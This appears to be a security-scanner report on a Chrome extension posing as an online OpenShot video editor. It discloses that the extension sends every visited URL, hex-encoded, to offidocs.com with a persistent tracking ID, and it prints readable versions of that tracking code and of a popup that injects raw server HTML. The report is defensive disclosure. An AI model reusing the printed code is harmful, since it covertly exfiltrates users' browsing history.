Is Video editor OpenShot online safe?

High risk

OpenShot is high risk. Dynamic analysis captured GET requests to offidocs.com on every navigation. Each visited URL, including pages unrelated to video editing, is hex-encoded and sent with a 10-char browser ID. Three navigations shared one ID in a session.…

Strong link to a flagged operator: 18 of the 26 other listings from the same operator are rated high or critical for malicious behavior. Flagged: X-Audacity (high), ApkOnline (high), Gimp Online (high).

officeonlinesystemsv2.3.6Extension ID kdfinbdncekfhibpbnkjedmdofkjghjjChrome Web Store
76Risk
Who publishes it

officeonlinesystems - 26 other listings from the same operator, 20 of them carrying a finding

AI-assisted analysis.

OpenShot findings

Every URL you visit is transmitted to offidocs.com with a persistent user ID

HighunwantedCWE-359Dynamic sandbox

Dynamic analysis captured GET requests to offidocs.com on every navigation.

What actually happens

You did this

You navigate to any webpage not on offidocs.com.

The extension did this

The extension hex-encodes your page URL and sends it to offidocs.com via a GET request, along with a persistent 10-character ID tied to your browser.

This fires on every tab activation and every navigation update, regardless of whether you are using the extension.

Captured request

GEThttps://www.offidocs.com/media/system/app/checkdownloadopenshotx_2_nav.php?filepath=68747470733a2f2f7777772e676f6f676c652e636f6d2f&hex=1&u=qfyyih63ol

HTTP 200, server acknowledged receipt. When the server returns a body containing '302', the extension redirects the active tab to an offidocs.com editing URL.

Why you can't catch this in DevTools

The visited page URL is passed through a custom hex-encoding function (bin2hex) before being included in the query parameter. This makes the tracking destination less obvious when inspecting network traffic.

Decoded value
https://www.google.com/

Data sent to offidocs.com on each navigation

  • Page URL (hex-encoded)
    68747470733a2f2f7777772e616d617a6f6e2e636f6d2f

    The exact address of every page you visit, encoded so it is less recognizable at a glance.

  • User identifier
    qfyyih63ol

    A 10-character random ID generated when the extension first runs and stored permanently, used to link all your visits together.

The code that does this

Navigation listener and tracking fetch (websecure.js)

Readable version

Tab event listeners (websecure.js lines 17-32)

function websecure() {    this.init = function () {        chrome.tabs.onActivated.addListener(function(activeInfo) {                activeTabId = activeInfo.tabId;                getTabInfo(activeTabId);        });        chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {                    getTabInfo(tabId);        });    };}

Tracking fetch (websecure.js lines 59-109)

async function extractvideo(urlxx) {    const offidocs_key = "offidocs_key";    var datax = { username: null, offidocscloud: null };    let storageResult = await chrome.storage.local.get([offidocs_key]);    if (offidocs_key in storageResult) { datax = storageResult[offidocs_key]; }    if (!datax.username) {        datax.username = randomString(10);    }    if (!datax.offidocscloud) {        datax.offidocscloud = "1"; // default: tracking enabled    }    await chrome.storage.local.set({ [offidocs_key]: datax });    if (datax.offidocscloud == "0") return; // only skipped if user explicitly opts out    let responsecheck = await fetch(        'https://www.offidocs.com/media/system/app/checkdownloadopenshotx_2_nav.php?filepath='        + bin2hex(urlxx) + '&hex=1&u=' + datax.username    );}

Where browsing history goes

    • www.offidocs.com

    Receives the hex-encoded URL and user ID on every navigation. Operated by the developer (OffidocsGroup), which stores all tracked browsing history.

Permanent browser identifier links all your visits at offidocs.com

MediumunwantedCWE-359Dynamic sandbox

Dynamic analysis confirmed the extension generates a 10-char random ID on first navigation, stores it locally, and appends it as 'u' on every request.

What actually happens

You did this

The extension runs for the first time after install and processes a navigation event.

The extension did this

A permanent 10-character identifier is generated and written to local storage, where it is retrieved on every future visit and sent to offidocs.com.

Once created, the ID cannot be reset through any user-facing setting in the extension.

What's stored on your device

'username' is your permanent tracking ID sent with every record. 'offidocscloud' controls tracking, defaults '1' (on); set '0' to stop.

Location
chrome.storage.local key 'offidocs_key'
Contents
{  "username": "qfyyih63ol",  "offidocscloud": "1"}

The code that does this

User ID generation and persistence (websecure.js)

Readable version

ID generation block (websecure.js lines 59-88)

async function extractvideo(urlxx) {    const STORAGE_KEY = "offidocs_key";    // Load existing tracking state from local storage    let storageResult = await chrome.storage.local.get([STORAGE_KEY]);    let trackingData = (STORAGE_KEY in storageResult)        ? storageResult[STORAGE_KEY]        : { username: null, offidocscloud: null };    // Generate a permanent user ID if one doesn't exist yet    if (!trackingData.username) {        trackingData.username = randomString(10).toLowerCase();    }    // Default tracking to enabled ('1'); user must explicitly set '0' to stop    if (!trackingData.offidocscloud) {        trackingData.offidocscloud = "1";    }    // Persist to local storage — survives browser restarts    await chrome.storage.local.set({ [STORAGE_KEY]: trackingData });}

What the persistent identifier enables

  • Tracking ID
    qfyyih63ol

    A unique token stored in your browser that lets offidocs.com link all your page visits to one profile across separate sessions.

  • Browsing history linkage
    https://www.amazon.com/ → 68747470733a2f2f7777772e616d617a6f6e2e636f6d2f

    Every URL sent to offidocs.com is tagged with this ID, building a persistent server-side log of your browsing activity tied to your browser.

Popup retrieves your server-side browsing record from offidocs.com

LowunwantedCWE-200Dynamic sandbox

Dynamic analysis captured a GET to offidocs.com every time the popup opens.

What actually happens

You did this

You open the extension popup.

The extension did this

The popup sends your persistent user ID to offidocs.com and renders the server's HTML response directly in the popup's DOM.

This fetch fires immediately on popup load, before any user interaction within the popup.

Captured request

GEThttps://www.offidocs.com/media/system/app/checkdownloadopenshotr_2_nav.php?u=qfyyih63ol

HTTP 200, response body: '<p>No video files in this webpage</p>' (37 bytes). The server returned a per-user HTML response that was injected into the popup DOM.

The code that does this

Popup fetch on open (popup.js lines 65-80)

Readable version

XHR to offidocs.com on popup load (popup.js lines 65-80)

// Fires immediately when popup opens — fetches server-side record for this userconst xhr = new XMLHttpRequest();xhr.open(    'GET',    'https://www.offidocs.com/media/system/app/checkdownloadopenshotr_2_nav.php?u=' + username,    /*async=*/ true);xhr.onload = function () {    if (xhr.readyState === 4 && xhr.status === 200) {        // Raw server HTML is injected directly into the popup DOM        document.getElementById('listfilesx').innerHTML =            '<p>List of files detected in this webpage. Click to edit:</p> '            + xhr.responseText;    } else {        document.getElementById('listfilesx').innerHTML = '<p>No files detected</p>';    }};xhr.send();

Server that holds the per-user browsing record

    • www.offidocs.com

    Returns per-user HTML indexed by the persistent tracking ID. Receives that ID on every popup open, confirming server-side storage of browsing activity per user.

If you have OpenShot installed

  1. Open chrome://extensions and turn on Developer mode to show IDs. Find the one with ID kdfinbdncekfhibpbnkjedmdofkjghjj and choose Remove.
  2. Scan your browser to check the rest of your extensions.

What OpenShot can do

Permissions this extension asks for, as declared in version 2.3.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

Chrome Web Store listing

Versions
2.3.6 seen since March 4, 2026
Store rating
2.4 from 379 ratings
Last updated
August 28, 2024
Size
430 KiB
Privacy policy
www.offidocs.com

Our write-ups

Updated November 20, 2026